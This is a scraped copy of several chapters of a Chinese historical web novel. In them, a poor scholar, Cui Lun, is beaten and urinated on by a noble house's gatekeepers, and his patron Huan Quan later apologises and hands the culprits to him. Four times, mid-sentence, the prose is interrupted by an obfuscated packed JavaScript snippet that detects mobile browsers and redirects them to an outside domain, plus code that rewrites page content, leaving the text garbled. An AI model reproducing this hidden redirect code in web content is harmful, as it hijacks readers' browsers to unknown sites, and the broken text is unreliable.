仲秋时节的阳光不算刺眼,落在人身上暖洋洋的,崔伦穿着黑青色粗布长袍,衣袍上有着几处颜色各异的布丁,站在高大的宜都侯府门前。 宜都侯府门口簇簇轿马,游人如织,往来从侯府进出的人不少,人物都是非富即贵。 崔伦瞧着自己手中这枚玉环,站在街口,有些犹豫不决。 他没想到这次申冤轻而易举,京兆府的县尉甚至没有多问一句,直接将卷宗移交至司隶府。 他和那些素日被王六欺凌的乡亲们冤情都得到了申诉,不仅被侵吞的田地被退回来了,甚至还得了一笔赔偿。 就连昔日帮着王六为非作歹的县尉都被罢官了。 当真是大快人心。 崔伦心底真的是畅快极了,多年怨气终于吐出来了。 崔母原本是不赞同崔伦冒险的,可崔伦拿当日毛舒劝他的话拿来劝母亲,再加上毛舒又来看望过崔母几次。 每次都会带些鸡鸭鱼肉之类的生活物资,毕竟这个时代能轻易拿出肉的人家可不多,由此可见,毛舒背后之人非富即贵,崔母渐渐也就相信了崔伦的说辞,同意崔伦去申冤。 因为对毛舒的信任,崔母要求崔伦帮附近受欺负的乡亲一同申冤,当时浩浩荡荡,在东城泸水巷还闹出不小的动静。 案情结束后,崔伦原本不想再去掺和那些贵人们的事了。 他很清楚,这场官司能够打赢,不是因为他们多么有理,只不过因为王六得罪了比他更有势力的人罢了。 他厌恶这种风气,偏偏又无可奈何。 可崔母执意要他去谢谢他们的恩人,毛舒姑娘。 崔伦并未告诉母亲,桓权的存在,他压根就不想和这些达官贵族打交道,他心底很清楚,无论这些人表面装得多么温柔耐心,内里都是禽兽不如的东西。 在那些世家眼中,他们这些平民和杂草没什么两样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653596|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可崔伦不能将这些告诉母亲,母亲年纪大了,有着朴素的善恶观,她只知道“滴水之恩,当涌泉相报”,哪里知晓那些贵族的畜生行径。 崔伦犹豫着最终还是走上前去,还未到门口,就被门口的府吏驱赶。 “去!去!哪里来的叫花子!要饭也不看看这是什么地方!哪里轮到你横冲直撞的!” 崔伦愣住了,他还没被人这么羞辱过,虽然家贫,崔伦也一直在自食其力,崔伦怒目而视那个驱赶自己的府吏。 “你说谁是乞丐!” “咋的!你还不服气!告诉你,这可是宜都侯府,当朝廷尉大人的府邸!” “呸!什么侯门!你也不过就是个看门狗!” “你说什么?” 那个府吏挽着袖子就要上来揍人,其他人见状也纷纷围了上来,将崔伦包围在里面。 “你这小叫花子,还敢骂我们!” 崔伦见状心里也害怕了,只是嘴里仍不饶人,继续骂道: “不是狗是什么!一群看门狗!呸!” “哈哈哈!这小叫花子敢骂我们!来!给我揍!” “慢着!” 一群人正要动手,一个年长的府吏忽然将众人喝住了,众人纷纷看向那位长者。 “大哥,你也听到了,这小叫花子竟然敢骂我们!” “我听见了,”说话的长者皱着眉头看向崔伦,一脸不耐烦地说道: “侯府门口打人,你们都不要命了吗?拉到僻静处,好好教训一下就算了,记住,不准闹出人命。” “是!” 一听这话,几个府吏便明白大哥的意思了,喜笑颜开,拽着崔伦就到小巷子里去。 你一拳我一脚的,直接将崔伦打个半死,崔伦抱着头疼的在地上哎哟打滚,嘴里还不饶人,继续狗呀、日呀的不干不净骂着。 “三哥!够了,给他个教训就行了。” “说!服不服!还敢骂我们是狗!呸!你连给我们当狗都不配!” “呸!” 崔伦吐了一口血沫,擦掉嘴角的污血,恶狠狠继续骂道: “一群狗仗人势的!服你奶奶的!” “呵!这小子还不服,继续打!我们就打到你心服口服!” 说着继续抡起脚又踹了好几下,身边的人见崔伦浑身上下没一处好的,恐闹出人命,忙将人拉住,小声道: “三哥,够了,真闹出人命来,不好收场。” 刘三见状心里还不顺畅,撩开自己的裙摆,指着自己□□,对崔伦道: “来!从我这里钻过去,我就饶了你!” 崔伦仰起头,冷笑着,目光已经鄙夷,完全没有要行动的意思。 “呵!兄弟们,你们看见了,我给过机会的,他不仅不谢我,还敢瞪我,看我今天不揍得你找不到爹娘!” 说着又要走,身边的人忙拉住刘三,道: “这小子身体单薄,再打怕就死了。” 刘三见崔伦那个惨状,心里也有些心虚,要是真打死人了,宜都侯府的家法可不容人,咽下口水,道: “依你说,应该怎么办?” 这时候另一个府吏忽然开口,道: “老五说得对,不能再打了,可三哥的气也不能不出。依我看,不如……” 说着在几人身边耳语了一番,刘五面露难色,道: “这样不好吧?” “怕什么!一个小乞丐罢了!” “老四这办法好,就按老四这个办法办!” “这……” 刘五还是有些犹豫。 “老五,你怕你就别来,人都打了,撒泡尿的事还怕!” “三哥,常言道:士可杀不可辱,这样做,过分了。” 刘五还想再劝。 其他几人都不再理会他,纷纷解开裤子,对着崔伦的脸就尿了起来。 21. 第二十一章 不过是小事 毛舒被侯府书吏送至侯府侧门,两人一路闲聊,书吏对毛舒颇为恭敬。 “一卷书册还劳女郎亲自来取,您派人来说一声就是,我亲自给您送过去。” “一卷书册罢了,公子急着要,这一来一回也要费不少工夫,倒不如我自己来取。我上次给周书吏提起的那人,周书吏帮我注意着,应该就是这几天,他会拿着一枚玉环来寻士衡公子。” “女郎放心,既然是女郎叮嘱的人,在下一定会注意着的。” 两人说笑着出府门,注意到看守大门的府吏少了四五人,周书吏变了脸色,厉声喝道: “刘大,其他人哪去了?” 刘大见是周书吏唤自己,一路小跑过来,又听见呵斥,立刻跪在地上请罪,目光却瞄向打人的小巷。 刘大心中叫苦不迭,平日教训个人也没什么,怎么这次偏偏就被周书吏抓住了。 “还不快去将其他人叫回来!舒女郎,让您笑话了。” 毛舒笑着摇头,注意到刘大脚步慌张,心中闪过一丝不安,道: “慢着!我亲自去。” 刘大刚放下的心又提起来,忙跪在毛舒的面前,道: “这等小事怎敢劳动女郎,我这就去。” “让开!” 毛舒呵斥一声,说着也不去管刘大,直接从刘大身侧绕开,周书吏见状,立刻意识到出事了。 揪着刘大的衣领道: “说!你们到底做了什么?” 接着也不去管刘大,忙跟上毛舒的脚步,刘大懊悔不已,也只能认命跟上去。 毛舒还没到巷口,就闻到一股子尿骚味,强忍着恶心,走进巷子,只见一群男人围着一个人撒尿。 “你们在干什么!” 刘三等人突然被人从背后一呵,吓得忙将裤子提起来,回头去看来人。 见是一艳丽女郎,圆眼怒目看着自己,也不避讳,反而朝他们走近,忙拱手道: “见过舒女郎。舒女郎怎么来了?我这就带您去见管事。” “你们刚刚在什么?” 毛舒完全不为所动,只盯着几人,一步步走近,几人一方面因毛舒看到自己撒尿而羞耻,另一方面也害怕毛舒瞧见自己欺负人。 纷纷拦着毛舒,不让她再往前走,毛舒冷喝一声: “让开!” 几人面面相觑,正要开口,忽然见到毛舒背后的周书吏,知道此事是瞒不过了。 只得让出一条路来,毛舒猛然看见倒在污秽中,人事不省的崔伦,脸色一下子阴沉下来,道: “周佐,这就是你的待客之道吗?” “舒女郎,这……” 周佐原本还没意识到发生什么,直到看见污秽中的那人,实在是惨不忍睹,一时也哑口无言。 “周大人,这不能怪我们呀!是这人先骂我们的,我们兄弟气不过才……” “够了!” 周佐忍无可忍呵斥住兄弟几人,脸色也青白交加,被毛舒看到这一幕,就意味着士衡公子很快就会知道。 士衡公子是什么人,他可太清楚了。 “舒女郎,您看这事?” “周佐,你知道躺着的那人是谁吗?” “谁?” “崔伦,就是公子一直在等的那人。如今被你的人打成这样,你们自己去和公子交差吧。” 毛舒强忍着恶心,从崔伦怀中掏出那枚玉环,而崔伦早在被刘三等人侮辱时,就被活活气晕过去了。 周佐也是一阵冷汗,当真是天上掉下来的一桩祸事,恶狠狠瞪了刘三等人几眼,对赶上来的刘大,喝道: “还愣着干什么!还不赶快给崔公子换身衣服,请大夫来。” 刘三等人这才连忙将崔伦抬起来,这时也顾不得什么脏不脏的,抬到门房里去,又是给崔伦擦洗,又是换衣服。 “舒女郎,您看这事,要不要暂时不给士衡公子说。您放心,刘大几人我一定会狠狠教训的,绝对不会轻饶这几个臭小子的。” 在刘大几人忙碌时,周书吏将毛舒拉到一边,弯腰赔笑求情。 “周书吏,这事纵使我不说,崔郎君见到公子后也会说的,这事儿,瞒不住。” “我知道,可这不是误会嘛,崔郎君衣着确实太寒酸了些,一时没认出来也是有的。 您是公子身边的红人,有您帮忙美言两句,再劝劝崔郎君,这事不就大事化小,小事化没了吗?” “周书吏这话说得轻松,你知道这家伙多大的气性吗?简直就是茅坑里的臭石头,又臭又硬,我去劝他?不被他骂一顿就是好的。” 周书吏见劝说无用,只好转身对刘大等人摆摆手,无奈道: “我是没法子。你们这次真算是惹大祸了!你们怎么好好的,打他做什么?” “周大人,您再帮忙劝劝吧。我们真不是故意的,是真没认出来,谁知道他穿着那么寒酸,会是三公子的客人。” “早就告诉过你们,不要以貌取人,你们就是不听,如今好了。” “周大人,这事是我们不对,我们也愿意赔礼道歉,烦您再去劝劝舒女郎,我们兄弟几人的性命就全在大人您手中了。” “罢!罢!我就舍了这张老脸,再去说说。” “好!好!多谢周大人。我们兄弟必定唯周大人马首是瞻。” 周佐只得起身,来到室外廊下,见毛舒正背手瞧着风景,若有所思。 “舒女郎,这事就没有转圜的余地了吗?” “周书吏,你这般为刘氏兄弟求情,到底是为了什么? 这事就算告在公子面前,你也是宜都侯的人,最多不过是罚几个月的月俸罢了。” “我只是有些好奇。” “好奇什么?” “好奇这位崔郎君到底有怎样的本事,能让士衡公子为之牵挂,能让舒女郎亲自过问。” “这不是你该问的。” 毛舒冷冷拒绝,周佐不死心,从袖中掏出一锭十两的金子,暗里递给毛舒,道: “小小心意,舒女郎莫要嫌弃。” 毛舒却将身子一闪,直接避开周佐暗戳戳的小动作,与周佐拉开些许距离,侧着朝向另一侧,似笑非笑,道: “周书吏不会以为我缺这个吧?” 周佐拿着金子的手愣在了原地,神色颇有些尴尬,却还是耐着性子赔笑道: “我知道女郎是公子宠姬,自然是不缺这些金银俗物的,可历来也没有人会和钱过不去吧,您看,能否卖个人情? 俗话说:与人方便与己方便,今日舒女郎若能帮忙,周某感激不尽。” 毛舒却不为所动,看着周佐的目光满是打量,意味深长笑道: “周书吏能走到今天不容易,可别因为几两金银将命丢了。” “一介寒士,如何能入士衡公子的眼?其中必然有我不知道的缘故,舒女郎不告诉我也无妨,往后日子还长着呢,舒女郎难保没有求到我身上的时候,您说,对吧?” 周佐眼见贿赂无效,转而便威胁起毛舒来了,只可惜毛舒那性子素来是吃软不吃硬的,闻言索性冷笑道: “周佐,你少威胁我,这事说到底也是你管教不严,你说我要是对公子多说些什么不该说的,公子是信你了?还是信我了?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653597|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你敢!” 周佐指着毛舒咬牙切齿,气狠狠地,偏偏又拿毛舒没什么办法。 “你看我敢不敢!” “毛舒,你不过贱婢出身,难道还真想飞上高枝做凤凰,等日后公子娶妻,有的是你熬的。要不是看你是士衡公子的人,早让人将你撵出去了。” 毛舒冷笑一声,道: “贱婢出身咋了!你如今还不是有求于我。” 两人针锋相对,谁也不饶谁,沉默一阵,周佐率先服软,道: “你我谁都别嫌弃谁,都不过是郎主的一只狗罢了。 只是你这番一告到公子那里去,刘大兄弟几人的命算是保不住了,他们兄弟几人也是可怜人。自小没了父母,被当作奴隶四处买卖,当初还是老管家瞧他们身子还算壮实,买下他们,此刻还不知咋地。” “这世上谁不可怜?可谁像他们这般欺负人的。这还是我们瞧见的,没瞧见还不定有多少。 周佐,我劝你一句,这事你就别管了,人我一会儿带回府里去,请府里的大夫给他医治。至于其他的,你放心我不会多说一句,至于崔郎君,我可不敢保证什么。 他家中还有一老娘,如今出了这样的事,我免不了要去看看,别让老人家担心。” “要不崔郎君家中,我让人去。” “可别,那老太太可不是好惹的,你们别去又惹一堆麻烦回来。 至于刘氏兄弟,你让人看守好,调查清楚来龙去脉,特别是为首的几人,许不至于全都论罪。” 毛舒言尽于此,周佐也明白毛舒的好意,拱手道谢。 毛舒见崔伦全身都收拾干净了,也不再多待,直接带着人将崔伦带回府。 蕲茝猛然见毛舒带回个伤痕累累的男人,心中一惊,却还是让人去请府里的大夫来,拉着毛舒的手,就到一侧小声问道: “你不是去侯府取书吗?怎么还带回个男人?” “此事说来话长,以后再说。蕲茝姐姐放心,这人是公子要的。” “我就信你一次。” 蕲茝也不再追究,一面指挥人清洗伤口,为伤口上药,一面催人去请医师。 毛舒则带着些衣食类的礼品去拜访崔伦母亲,崔伦母亲正在纺纱,见毛舒来了,忙倒茶添水。 “大娘,您别忙了,我来是告诉您一声,我们公子请崔郎君办事,恐怕得过几日才会回来。这是这几日的工钱,郎君让我送来的。” 桓权回府的时候,听见此事大为惊诧。 “人怎么样了?” “许医师已经看过了,皮外伤尚无大碍,只是受了不小的内伤,怕是得好生修养一番。” “伤筋动骨一百天,只要人能好起来,什么都好。你让人去崔伦家中看看,送些钱粮去,别让他家人担心。” “公子放心,毛舒已经去了。” “等人醒了,告诉我。” “是。” 桓权皱着眉头,朝堂的事还没了,这会子府中又出了这事,实在是让人烦心。 毛舒回府被告知桓权已经回来了,径直去见了桓权,将今日所见尽数告诉了桓权。 “公子,您瞧这事应该怎么处理?” “你在府中照顾崔伦,务必让他好起来,这个人我还有大用。” 说着就要更衣,毛舒跟着入内室,道: “那公子了?” “我回侯府一趟。” “其实这事不过是下人眼拙,算不得什么大事,您又何必闹大了?” 蕲茝忍不住劝道。 “哼!小事?多少世家大族就是毁在这些‘小事’上的。” 22. 第二十二章 士可杀不可辱 “士衡着急寻我,竟是为这事?” 桓玑在听完桓权讲完来龙去脉后,淡定取水煮茶。 桓玑原本在张太尉府赴宴,宴会上家中府吏突然来报,说士衡公子请他回府,因桓权极少寻他,他便不待宴会结束,便告辞归家。 “兄长以为此事不重要?” “不就是几个府吏吗?直接依家法打死就是。” 桓玑云淡风轻,将茶盏放在桓权面前。 “这是几个府吏的事吗?” 桓权扶额苦笑,她知道对于世家而言府吏就是家臣奴仆,就算打死也无人过问。 “士衡,你想要什么?那个崔生受了委屈,我给他些许赔偿,外加上那几个府吏的命,也足够了。说到底,不过是介寒门书生,值得你堂堂桓氏公子这般费心?” “兄长可还记得楚王彭越之事乎?” 桓玑闻言,喝茶的手停住,抬眼看向桓权,神色凝重,道: “士衡究竟何意?” “彭越因仆从告密而身亡,难道古来只彭越一人因仆从而亡身吗?” 桓玑缄默不言,他自然是知道彭越故事的,《汉书》记载,楚王彭越在汉高祖征伐叛臣,曾与部将密谋谋逆,计划虽然没有执行,却因为家臣告密,导致自己身死族灭。 桓权知道自己的话兄长已经听进去了,继续道: “我这里有个故事,颇有些意思,兄长不妨听一听。” 接着也不待桓玑答应,便自顾自讲起故事来。 “昔日汉献帝时,车骑将军董承受诏密除魏武帝曹操,不料事泄,反被夷三族,兄长知道此事吗?” “当然。” 桓玑不解桓权说起此事是什么意思,却还是点头答应了一声。 “兄长可知事情是如何泄密的?” “不知。” “后世传闻,董承有一爱妾与仆从私通,事情被董承发现后,董承令人杖责仆从,撵出府邸,仆从怀恨,遂至武帝处告密。” 桓玑闻言冷汗津津,他是聪明人,不会不明白桓权话语中的含义,也为自己的大意而后怕,却还是强撑着,露出一丝笑意,道: “士衡这些传言都是打哪里听来的?” “兄长不必追究权是从何处听来的,兄长应该担心的是,前车之鉴,当引以为戒。 否则不过是‘亦使后人而复哀后人也’。” 桓玑闻言身子一怔,随即正襟危坐,朝桓权一拜,道: “士衡所言,为兄受教了。” 桓权还礼,桓玑又道: “士衡今日所说,犹如当头一棒,令为兄醍醐灌顶,玑有贤弟如此,可谓桓氏之福。” “兄长过誉了,只是不知兄长作何打算。” 桓玑沉吟片刻,道: “整顿家风,非一时一刻,恐需从长计议,只是这几个打人的府吏定然是不能留了,来人!” “慢!” 桓权急忙开口道: “兄长,此时还不是处理这几个府吏的时候,兄长为廷尉,自然知道事不明,则理难清的道理,依我看,如何处理,还是得苦主说了算。” “士衡的意思是,暂时留下这些府吏?那崔生不过一书生,如何能处置我桓府奴仆?士衡,你过了。” “兄长,暂且摈弃你的门户之见吧!依我看,崔生虽是寒门,却是有节有志的大丈夫,兄长可还记得秦相范雎之事乎?” “自然知道。秦相范雎,原为魏人门客,后被诬陷,又遭魏相折辱,后侥幸逃出一条性命,逃至秦国,更改名姓,做了秦国丞相,而昔日侮辱范雎之人,身亡家毁。” “兄长以为今日府吏对崔伦所为,与昔日魏齐对范雎所为,相比如何?” 桓玑沉默了。 “士可杀不可辱啊!” 桓权长叹一声,起身步于廊下,桓玑却陷入沉思。 桓玑自幼就是被当作未来家主培养的,他比任何人都清楚家族能够长久屹立于朝堂之上,究竟有多艰难。 能在一场场政变中、叛乱中,保全自己的家族,桓玑的见识并不浅,他只是太久站在高处博弈,而忽略了底层的争斗。 狮子和老虎相争,有时候起决定作用的也许是蚂蚁。 “士衡,崔生真有这样的本事吗?” “不是崔生,也会是其他人的。世家天下,终究会有结束的那一天,兔子逼急了还咬人了,人逼急了,可是会杀人的。” 桓权意味深长说道。 桓玑心中一怔,看向桓权,背手而立,萧瑟身影,秋风吹动着衣袂,他却岿然不动,宛如一枝傲竹凌霜。 桓玑一直都知道自己这个弟弟聪慧得有些过分,他洞察世事,谨慎机敏。 但此刻他却格外心惊,桓权总能说出一些耐人寻味的话,常有先见之明。 “士衡,若今日你为桓氏家主,该当如何?” “尽人事,听天命。古来何时有不败之家,不亡之人。” 桓玑心下一紧,看向那个孤傲的少年,正要追问,桓权开口道: “兄长,你不会以为桓氏一族当真可以长久富贵吧?” 桓玑怔在原地,没有一个家主不期望自己的家族能传承下去,能子孙昌盛、富贵荣华,可桓权偏偏要打破这些美梦。 他太过理性,也太过残忍。 桓权冷笑着,对桓玑拱手一礼,道: “天色已晚,弟就不打扰兄长休息了。至于崔生一事,弟自会处置,其余事宜,请兄长自忖,弟告辞了。” 桓权离开正厅时,在廊芜碰见了周书吏,周佐拱手向桓权问安,桓权原本匆匆的脚步,停下来,看向周佐,似笑非笑道: “听闻周书吏在城东涌泉巷新买了一处院子,恭喜啊!” 周佐闻言顿时头冒冷汗,正要开口解释,却发现桓权已经走远,周佐看向桓权的背影,内心忐忑不安。 崔伦从昏迷中苏醒时,瞧见的是蜀锦繁绣的紫纱帐,鼻息间萦绕着的是仿佛雨后深林的淡淡的青木味,耳边环绕着的是宛如燕雀莺啼的少女声。 “郎君醒了,快去告诉舒姊姊。” 崔伦还没从陌生的环境中回过神来,毛舒便踏门而入,一张俏丽的脸庞便映入眼帘,一身浅碧色的长衫襦裙,肩上搭着件珍珠衫,头绾凌云高髻,银色衔凤珠钗随着她的脚步晃动着,霎时无限风流灵巧。 “你醒了?” 毛舒身后跟着两个梳着双鬟髻的豆蔻少女,从不惯和女子接触的崔伦突然被一群妙龄女孩盯着,脸色霎时就红到耳根了,抱着被子“唰”的就坐起身来。 “这是什么地方?” 崔伦一动便能感受到身上被人殴打后的疼痛,脸色红了又白,那不堪的记忆顿时涌上脑际。 毛舒观察细致,对身边的几个小丫头道: “你们两个去请公子来,你去请许医师过来,你去厨房熬些素粥来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653598|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一一安排下去,四个小丫头各自领命。 毛舒见人都离开了,方才继续道: “也不知你脾气倔个什么劲,当时拿出公子给你的玉环就是,非得和他们闹起来。 要不是那天我恰巧去侯府,你的性命,休矣!” 崔伦如今想起来,也觉得自己当时冲动了些,但他绝不可能在一个女人面前承认自己错误的,咬着牙说: “士可杀不可辱!” “你还觉得自己挺有气节的?”毛舒白了崔伦一眼,道:“下次冲动前,能不能想想你还有位老母亲在等着你。” 崔伦沉默不语,他的确担心起母亲来,他这番挨打,也不知过去了几天,母亲在家,肯定为他快急疯了,说着就要掀被子起身,但又顾忌毛舒守在自己床边。 颇有些不好意思,道: “毛女郎,你……能不能先出去。” “咋了?还不好意思起来,又不是没穿衣服。” “……” 崔伦强忍着怼回去的话,想着毛舒怎么也是富贵人家的姬妾,又是女流之辈,他不能和她计较,再强调一遍自己的诉求, “你先出去。” 毛舒原想再逗弄崔伦几句的,但瞧他这古板性子,实在是无趣,还是起身,在廊下候着了。 正百无聊赖玩着手腕上的银镯,桓权便带着人过来了,见毛舒,便笑着道: “你不去屋里,在这里做什么?” “那家伙将我撵出来了,真是的,他什么狼狈模样我没见过,这会跟我要面子。” “你呀!他被人……的事,以后可不准再提了,这事说到底也是我们桓氏对不住他。” 桓权示意侍女在门口敲了两声,里面崔伦已经强忍着伤痛穿好衣裳了,还以为是毛舒,嘴里道: “好了,毛女郎请进。” 他旧日的衣裳自然是不能再穿的,崔伦在衣架上倒是寻到了一身素色的布袍,穿在身上正合适。 进屋来的,却是一个小郎君,桓权在家穿着一身月白色长衫,头裹缁撮,腰系纯素色的吕公绦。 自有一派贵族风流气韵在其中,与身侧的毛舒,正是才子佳人,般配得很。 “士衡公子?” 崔伦震惊,他不知桓士衡怎么会出现在这里,待他还没回过神来时,桓权撩开衣摆,跪下,朝他深深一揖,崔伦愣在原地,只听得桓权道: “崔郎,此番郎君受委屈了。权在此向公子赔礼了。” “公子?” 崔伦也说不清内心是一种怎样的感受,是委屈,还是不甘,抑或是怨忿。 在挨打的那一刻,崔伦认为,天下的世家都是一样的。 可桓权的真挚不似作假,他从未见过那个世家贵族会向他这样的平民下跪,更不曾见过那个贵族会认错赔礼。 崔伦甚至怀疑自己在梦中。 桓权一跪,她身后的一群侍女纷纷跪下,除了毛舒,她只是震惊带着疑惑的目光看着桓权,实在不明白她葫芦里卖的什么药。 这样一群人乌泱泱跪在自己面前,对于寒士的崔伦来说,场面还是有些太过震撼了,强压着心底的不安,扶着桓权的手臂道: “公子这是做什么?伦受不起公子如此大礼。” “此番郎君受辱全因权思虑不周,治家无方,管教不严。权在此向郎君赔罪了! 郎君若是不肯原谅桓某,桓某不敢起身。” 23. 第二十三章 因私废公 崔伦内心极为震动,桓权此举极大地抚慰了他受伤的心灵,他生平极少被人这般重视,而桓权给予他足够的尊重。 崔伦又是感动,又是心酸,他半生折辱,今朝终于被当作活生生的“人”对待,被人在乎的感觉,实在是太棒了! 含泪跪下,拱手对桓权道: “崔某何德何能受公子大礼,门吏所为,公子并不知,俗话说,不知者无罪。更况公子于崔某有申屈之恩,崔某岂能怪罪于公子,公子请起。” “崔郎虽不怪罪于桓某,此事却是我桓某家教不严的罪过,崔郎放心,桓某必还郎君一个公道。” 桓权与崔伦相互搀扶起身,将崔伦扶回榻上坐着,令医师为崔伦诊脉。 “公子,不知这几日我母亲……” 崔伦虽然深受感动,心中却还记挂着家中老母,诊脉期间忍不住开口相问。 “郎君放心,桓某已着人去照顾崔郎母亲,崔郎安心养病便好。” “伦拜谢公子。” 崔伦内心感动又多上几分,在他心底,桓权与其他世家贵族完全不同,他从不傲视于人,更不以势压人。 对于自己这种寒士,他会以礼相待、以诚相待,对待错误,他会勇于承认。 他身上完全没有世家子弟的轻浮气息。 “这都是我应该做的。我让人将那几个门吏绑来,任凭崔郎处置,如何?” “啊?” 崔伦心中惊异更多了几分,他原本以为桓权所谓的还他公道不过是客气话,没想到桓权真将人绑了。 这种事情,一般都是世家自己处理,往往都是高拿轻放,不了了之,崔伦虽然性直,却也知道和世家讨“公道”,纯粹是自讨苦吃。 “来人,将人押上来。” 桓权接着就有几个侍卫将人押了进来,共有六人,都被五花大绑着,自当日毛舒离开后,这六人就一直被拘押着,不给饮食,到今天,已经是第二天晚了。 最开始几人还能大呼“冤枉”,到今天,已经是精疲力竭,又饿又困,老老实实跪在地上。 “崔郎,这几人便是当日行凶之人,你瞧着,应该怎么处置?” 崔伦一见这几人,当日不堪的回忆便涌入脑海,特别是最后撒尿的三人,他恨不能生食其肉,但崔伦也敏锐注意到,捆着的人远多于当日欺凌他的人数。 “公子,您是不是弄错了?当日没这么多人。” “崔郎放心,我已调查清楚,这四人是当日殴打之人,其中这三人是当日侮辱之人。这一人,刘大,乃是六人之长,应有管理之责,却放任府吏殴打宾客,也有责任,这一人,旁观事情发生,未能尽劝谏之责,亦未能通禀府内,亦属失职。” 崔伦闻言,暗叹桓权条理如此清晰,事情过程都调查得明明白白,比那都城县尉不知要强上多少。 “公子,这些人都是你家臣,伦不便多言,任凭公子处置就是,伦绝无怨言。” 崔伦说这话便已做好这件事被轻放的准备,他知道桓权不可能真让自己来处置,能问自己一声,已经是给莫大的面子。 世家寒门,本就是天堑。 “崔郎这是不信桓某了。” 桓权似笑非笑道。 “伦并无此意。” 桓权没有反驳崔伦的话,而是一挥手道: “来人,将这六个恃强凌弱,以势压人的贼奴推出去,斩了!” “慢着!” 崔伦没想到桓权来真的,立马出声阻止,瞪大眼睛,问桓权道: “公子为何要杀他们?” “依我桓氏家法,当街逞凶伤人,当杀!侮辱主人翁贵客,当杀!” “可我毕竟还活着,这也是六条人命啊!” 崔伦面露不忍,他知道对于世家来说,府吏多不过是奴仆,世家可以自行处置府中奴婢,无人会追究罪责,但他并不认为这就是对的。 “崔郎这是怎么了?崔郎乃是我桓权看重的贵客,却被他们几个贱奴殴打侮辱,难道不该死吗?” “公子请容崔某一言,崔某自知为外人,不该对贵府家法置喙,然而人命关天,纵使这些人有错当死,也应当由官府来定,不该公子行私刑。” 此言一出,站在一旁观戏的毛舒眼底一亮,颇为惊喜瞅着崔伦,她已经很久没有听到“人命关天”这四个字了。 “崔郎当真如此作想?” 桓权似笑非笑,斜睨着目光看向崔伦。 “天下事,若是论私,则无公理可言,伦不愿如此。 今日公子斩府吏或许是这些人罪有应得,他日府君斩奴婢难道就不会有冤屈吗? 世间冤屈不公之事,多出于一个‘私’字,人人偏私,则官官相护,百姓罹乱,天下难安。” 崔伦字字恳切,目光灼灼,虽身着寒衣,却难掩其风骨。 桓权只是笑着,道: “若是官府给不了崔郎想要的公理呢?崔郎,还要执意送官吗?” “律法不公,就修改律法,岂能因一己之私而行私刑?此非君子所为。” “既如此,桓某给崔郎一个机会,将这六人送至官府,郎君不妨试试,到底能得一个怎样的结果。” 桓权嘴角上扬,露出一抹若有若无的笑意。 “崔某愿意一试。” 桓权挥手让人将这六人押了下去,与崔伦击掌为誓,眼眸中的笑意愈发浓厚,道: “崔郎难道以为他们只羞辱过崔郎一人吗?” 桓权言尽于此,并未继续说下去,反而起身告辞,道: “崔郎若是需要帮助,桓某定然相助。” 桓权将这件事对桓玑讲了,桓玑也觉得颇有意思,道: “这崔生倒是个奇人,自己受辱,反帮欺辱自己的人求情。” “他倒是个‘痴儿’,生长于这样的世道中,竟如此磊落,倒也称得上‘君子’。” 桓玑很是惊奇,桓权很少这样直白称赞一人,能被他称为君子的,此前也只有谢弼、乔昭二人,皆是弃世绝俗的奇人,现在能对一介寒士做这样的评价,他心中也好奇起来。 “这人你是自哪里搜罗来的?当真是有趣至极。” 桓权遂将当日如何说服崔伦状告王六一事论述了一番,桓玑听后,笑道: “他这脾气,还真是执拗。” “若非这怪脾气,也不至于惹这一场是非,可这脾气,还真合我胃口,这人,日后必有大成就。” “你打算如何?” 桓玑听得出桓权很欣赏崔伦,桓权为尚书郎,本就有为国举贤的责任。 只是崔伦出身实在微寒,又是一介白衣,很难一步登天,直入朝堂,他这样的身份,为州县小吏,便是难得了。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653599|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本欲将其举荐给大将军,如今却又担心他这样的性子,恐难为大将军门客所容。 欲荐之于朝廷,其家世不显,又无中正官品评,亦难。 然如此耿介之人,若弃之于山野,我亦不忍也。” 桓权言语颇为为难,连连唉声叹气,桓玑白了桓权一眼,道: “好了,少装模作样,我还不知道你。你想将人留下就直说,我虽不敢保证什么,廷尉府一书吏还是可以的。” “如此,便有劳兄长。” 